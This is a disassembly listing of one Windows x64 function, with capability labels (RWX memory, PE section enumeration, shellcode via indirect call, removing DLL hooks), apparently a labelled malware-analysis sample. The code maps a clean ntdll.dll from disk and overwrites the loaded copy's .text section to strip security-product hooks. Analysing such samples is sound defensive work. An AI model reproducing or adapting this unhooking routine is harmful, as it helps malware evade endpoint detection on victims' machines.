Function at 0x401636
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x70], 0
mov qword [rbp - 0x68], 0
mov qword [rbp - 0x60], 0
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x70]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sym.GetModuleInformation
mov rax, qword [rbp - 0x70]
mov qword [rbp - 0x20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x78], rax
mov word [rbp - 2], 0
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + 6]
cmp word [rbp - 2], ax
jae 0x40187d
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + 0x14]
movzx eax, ax
mov rdx, qword [rbp - 0x78]
lea rcx, [rax + rdx]
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
lea rdx, str..text
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x40186d
mov dword [rbp - 0x7c], 0
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x20]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x7c]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x4c], eax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 8]
mov ecx, eax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0xc]
mov r8d, eax
mov rax, qword [rbp - 0x20]
add rax, r8
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp - 0x7c]
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x20]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x7c]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x4c], eax
movzx eax, word [rbp - 2]
add eax, 1
mov word [rbp - 2], ax
jmp 0x401763
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
nop
add rsp, 0xc0
pop rbp
ret